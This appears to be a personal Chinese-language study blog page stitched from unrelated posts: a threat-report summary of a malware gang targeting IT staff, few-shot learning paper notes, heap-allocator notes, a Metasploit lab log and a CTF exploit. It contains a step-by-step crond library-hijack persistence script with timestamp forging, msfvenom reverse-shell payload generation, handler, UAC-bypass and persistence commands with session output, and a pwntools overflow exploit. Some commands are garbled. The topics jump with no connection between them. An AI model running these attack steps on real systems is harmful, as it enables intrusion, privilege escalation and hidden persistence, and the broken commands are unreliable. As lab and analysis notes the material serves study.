Paul C's Blog

To be funny,to grow up!

0%

https://mp.weixin.qq.com/s/EhRX26TP9rxEKys_MzDYvQ

暗蚊黑产团伙采用供应链投毒、伪造官方软件网站、以及利用破解软件等多种方式传播恶意程序,主要攻击目标是IT运维人员,攻击范围涵盖了Windows、Linux以及macOS等操作系统。 攻击水平不高,但危害很大。

攻击流程

1.注册域名,投放木马,测试免杀。

2.被下载嵌入后门的运维工具—>下载远控木马—>窃取文件和主机信息

置于匿名文件共享服务托管平台oshi.at

3.—>下载和使用fscan、nmap内网扫描—>弱口令+漏洞等横向渗透

4.—> 部署并运行hellobot后门

特点

域名精心构造

文件名 恶意域名
SecureCRT.dmg download.securecrt.vip
ultraedit.dmg download.ultraedit.info
Microsoft-Remote-Desktop-Beta-10.8.0(2029)_MacYY.dmg download. rdesktophub.com
FinalShell_MacYY.dmg download.finallshell.cc
navicat161_premium_cs.dmg download.Macnavicat.com

2.域名注册时间不超过1年。攻击者 在3月至7月期间攻击者陆续注册了此次攻击活动中所涉及的10个C2域名

3.载荷有上传至VT测试免杀效果。可以作为一个怀疑指标。

4.解密载荷上传至VT时间距今不超过3个月。

5.载荷的自动下载分为2个阶段,对应的url不同,可以防止被分析到落地载荷。

被植入恶意文件为libpng.dylib,下载的恶意文件命名为fs.log,centos7,libdb.so.2,/tem/.test,/Users/Shared/.fseventsd。

  1. 使用crond服务持久化后门动态链接库手法有特点 。centos7的文件,该文件运行后会在当前路径下释放一个名为libdb.so.2的文件,利用libdb.so.2文件对crond服务动态库文件进行劫持,然后将libdb.so.2文件及crond的时间属性值修改为/bin/ls的时间,最后重新启动crond服务,加载执行恶意文件libdb.so.2。经分析发现libdb.so.2文件为hellobot后门

  2. 远控木马基于开源跨平台KhepriC2框架修改,内网横向移动阶段的木马 基于开源跨平台工具goncat进行修改;

  3. 后门动态库落地是通过样本自己读取自身内容,并根据“ELFELF”找到标记的偏移位置。

crond服务持久化后门动态链接库手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#将crond复制到当前路径
cp /usr/sbin/crond .
#查看crond的依赖项里是否有libdb.so.2
#使用fgrep而非grep,把所有字符解释为字面含义,以避免.被解释为正则。
ldd ./crond |fgrep libdb.so.2
#获取软链接对应的绝对路径,再获取目录路径
$P=dirname `ldd /bin/ls|grep libd1|awk '{print $3}'`;
echo $P;#获取crondb依赖项原所在路径
mv libdb.so.2 $P;/bin/ls
#修改/lib/x86_64-linux-gnu/libdb.so.2的时间属性为/bin/ls的时间
-r, --reference=FILE
#use this file's times instead of current time
touch -r /bin/ls $P/libdb.so.2;
#将被劫持的cornd移动会/usr/sbin,修改crond的时间属性

mv crond /usr/sbin;
#增强隐蔽性,因为各种系统程序的修改时间应该一致
touch -r /bin/ls crond;
#重启crond服务
service crond restart

Linux touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件

Schönfeld, Edgar et al. “Generalized Zero- and Few-Shot Learning via Aligned Variational Autoencoders.” 2019 IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR) (2018): 8239-8247.

Satorras, Victor Garcia and Joan Bruna. “Few-Shot Learning with Graph Neural Networks.” ArXiv abs/1711.04043 (2017): n. pag.

Li, Zhenguo et al. “Meta-SGD: Learning to Learn Quickly for Few Shot Learning.” ArXiv abs/1707.09835 (2017): n. pag.

Sun, Qianru et al. “Meta-Transfer Learning for Few-Shot Learning.” 2019 IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR) (2018): 403-412.

Liu, Yanbin et al. “Learning to Propagate Labels: Transductive Propagation Network for Few-Shot Learning.” International Conference on Learning Representations (2018).

Ye, Han-Jia et al. “Few-Shot Learning via Embedding Adaptation With Set-to-Set Functions.” 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR) (2018): 8805-8814.

Graph Neural Networks

Meta-SGD

one step adaptation

Fei-Fei, Li, Fergus, Robert, and Perona, Pietro. One-shot learning of object categories. Pattern Analysis and Machine Intelligence, IEEE Transactions on, 28(4):594611, 2006.

The key insight is that, rather than learning from scratch, one can take advantage of knowledge coming from previously learned categories, no matter how different these categories might be.

实验

Bayesian implementation

101diverse object categories

Prototypical Networks

Snell, Jake et al. “Prototypical Networks for Few-shot Learning.” Neural Information Processing Systems (2017).

方法

创新点

适用领域&数据集

利弊

Matching Networks

Vinyals, Oriol et al. “Matching Networks for One Shot Learning.” Neural Information Processing Systems (2016).

Relation Network

Sung, Flood et al. “Learning to Compare: Relation Network for Few-Shot Learning.” 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition (2017): 1199-1208.

Optimization as a Model for Few-Shot Learning

Ravi, Sachin and H. Larochelle. “Optimization as a Model for Few-Shot Learning.” International Conference on Learning Representations (2016).

TADAM: Task dependent adaptive metric for improved few-shot learning

Oreshkin, Boris N. et al. “TADAM: Task dependent adaptive metric for improved few-shot learning.” Neural Information Processing Systems (2018).

Y. Chai, L. Du, J. Qiu, L. Yin and Z. Tian, “Dynamic Prototype Network Based on Sample Adaptation for Few-Shot Malware Detection,” in IEEE Transactions on Knowledge and Data Engineering, vol. 35, no. 5, pp. 4754-4766, 1 May 2023, doi: 10.1109/TKDE.2022.3142820.

Filtered LargePE dataset.

0x01 简介

1.各种段的作用

ELF .plt:库函数插桩所在;

ELF .got:输入符号指针

.bss:未初始化 数据;

2.mmap缺点

  • 1.分配字节数必须是4096字节的倍数,只能以内存页为单元管理内存,经过内核很慢。

3.按需分配内存,

  • dllmaloc,Doug Lea开发并发布到公共社区;

  • Linux的glibc里的ptmalloc(Posix Thred aware fork of dllmalloc),

    malloc的多线程实现

  • FreeBSD里的jemalloc(被用在Firefox,Android)

  • Windows里的Segment heap,NT heap

  • kmalloc(linux内核内存分配器),kalloc(ios内存分配器)

有动态分配器管理的内存—>堆。

C++程序,函数scanf、printf都要使用堆。

4.ptmalloc/glibc提供的对堆的管理函数

1
2
3
4
malloc() 分配内存
free() 释放之前申请的内存块
realloc() 分配后改变分配的尺寸
calloc()分配并把内存清零

为什么要有calloc?因为未初始化的数据可能导致data disclosure。

5.现代化的技术

ASLR(Adress Space Layout Randomlization, 地址空间布局随机化)

NX

PIE

RELRO

Stack Canary

6.Data Segment

  • ptmalloc在分配小内存时不使用mmap,用另一种内存管理方法brk() ;在大片分配时使用mmap;

  • 一开始从零开始

  • 由系统调用brksbrk管理,或许这两个 系统调用不再遵循POSIX标准。
    • sbrk(NULL) return 数据段的当前末尾
    • sbrk(num) 扩充当前数据段num个字节
    • brk(addr ) 扩充当前数据段一直到addr位置

写一段测试代码,捕捉malloc的场景,不要使用printf和puts,因为其内部可能会使用malloc;

1
2
3
4
5
char msg[]="Start malloc()!";
int main(int argc,char** argv){
write(1,msg,strlen(msg));
malloc(16);
}

7.为什么堆带来了危险?

程序员:

忘记释放内存?

忘记指针所指;

忘记已经释放的内存有哪些;

堆管理器:追求性能,安全之后再考虑。

8.一些检测和防御手段

Valgrind使用测试样例找到一些通常 错误,比如忘记释放内存,资源耗尽;

glibc的严格模式: 会让程序变慢

  • export MALLOC_CHECK=1
  • export MALLOC_PERTURB=1
  • export MALLOC_MMAP_THRESHOLD=1 #所有内存分配都通过,仍旧可以绕过

0x02 Dynamic Allocator Misuse

https://www.bilibili.com/video/BV1zW4y1f7cB

任何分配器、库和函数的使用都有开销overhead,分配器开发者为了速度引入optimization和cache,只保证速度,正确的使用堆由程序员确保,由此便带来安全问题。

1701862220756

看论文,C刊及以下的一般不看介绍和相关工作部分,只看一眼本文贡献。

面对一项新任务时,LSTM的权重是固定的。

1.支持集的隐藏嵌入层并不是排列不变的。—>通过对训练样本的平均池化

2.学习算法和输入嵌入机制交错,带来优化挑战和增加过拟合风险—>解耦

LSTM

只是获取给定任务的训练数据,并根据生成的隐藏状态来调整新查询输入的预测。把支持集当作序列而非集合

LSTM’s predictions for unseen inputs (queries) are conditioned on the hidden state h_M and cell state c_M .

  • Should make the hidden embedding be invariant to the order in which the examples are fed into the LSTM.

Outer Product LSTM

1701685370310

通过加上生成的隐状态和前一层输出的外积来更新当前隐藏矩阵。

adjusting the weights of the LSTM using backpropagation across different tasks

does not update the biases

base-learner :

  • Use an LSTM to learn the weight update rule

  • good initialization parameters

Performance

与四种方法作对比:MAML、prototypical network、SAP、Warp-MAML;

在两类问题:few-shot sine wave regression、image classification benchmarks

分类是在三个数据集上:

  • Omniglot
  • miniImageNet
  • CUB

within-domain few-shot image classification

实验部分设计

实验的随机种子,会影响初始化权重值,以及训练、测试、验证任务集。

2.测量更新方向之间的余弦相似度作为反距离度量,余弦相似度可以更好地衡量方向相似度,因为它从向量的大小中抽象出来。

3.用-表示在限制的资源下,实验并没有运行完成。

4.使用足够大隐藏维度的 LSTM 可以通过使用隐藏表示的前 N 个维度来执行学习并为下一个时间步保留重要信息,并使用剩余维度来表示输入表示,从而将学习与输入表示分开。

Cross-domain

拿两个数据集,在一个数据集上训练,在另一个数据集上校验,但是要保证两个数据集没有交叉???

Frobenius norm

一些吹嘘

作者一直在说OP-LSTM与其他方法正交,可以和其他方法同时使用,但是把它们留在了未来工作。

1
2
3
4
C:\Users\22154>netstat -ano|findstr 11300
TCP 172.30.48.1:53633 172.30.56.107:11300 ESTABLISHED 21716
TCP 172.30.48.1:53699 172.30.56.107:11300 ESTABLISHED 5212
TCP 172.30.48.1:53704 172.30.56.107:11300 ESTABLISHED 17876

1701172793037

[] UAC is Enabled, checking level…
[+] Part of Administrators group! Continuing…
[!] UAC set to DoNotPrompt - using ShellExecute “runas” method instead
[
] Uploading kFJOgrXchF.exe - 7168 bytes to the filesystem…

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp lhost=172.30.56.107 lport=11300 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #设置成payload的模式
set LHOST 172.30.56.107
set lport 11300
exploit -j
sessions -i 2
shell

进行进程迁移

tasklist|findstr explorer
migrate 1844
background
chcp 65001

探测系统漏洞,比较耗费系统资源

use post/multi/recon/local_exploit_suggester
set session 1
exploit

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

use exploit/windows/local/bypassuac_fodhelper

set session 3

exploit

上传到了临时文件夹

检测发现后面上传的利用工具都

C:\Users\22154\AppData\Local\Temp\OkNyUvljPBU.ps1
C:\Users\22154\AppData\Local\Temp\AFYMdwEU.ps1
VFvBBvAw.exe

提权

1
2
3
4
5
6
7
8
9
10
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > exploit

[*] Started reverse TCP handler on 172.30.56.107:11300
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[!] UAC set to DoNotPrompt - using ShellExecute "runas" method instead
[*] Uploading XyrFnIA.exe - 7168 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (200774 bytes) to 172.30.48.1
[*] Meterpreter session 5 opened (172.30.56.107:11300 -> 172.30.48.1:54093) at 2023-11-28 20:15:41 +0800

维持

run persistence 借助vbs

1701177877128

加固

关闭“启用粘滞键”选项

辅助功能—>键盘,全部取消。

我的EXP

我也找对了漏洞所在,是打赢BOSS2后留名字的栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r = remote("47.94.85.181",22872) #连接指定IP及端口,题目给定
r.recvlines(10) #运行到字符串位置停下

for i in range(10000):
r.sendline("2") #运行到字符串位置停下
r.recvline()
r.sendline("1")
r.recvlines(7)
r.sendline("2") #运行到字符串位置停下
r.recvline()
r.sendline("2")
r.recvlines(7)
payload = 'A' * 9 + str(p64(0x00117630))#+str(p64('flag'))+str(0x0000000000000001)+str(0x0000000000000001)#发送数据,输入数据溢出,并覆盖,返回到目标位置
r.sendline(payload) #发送 payload
r.interactive() #交互
1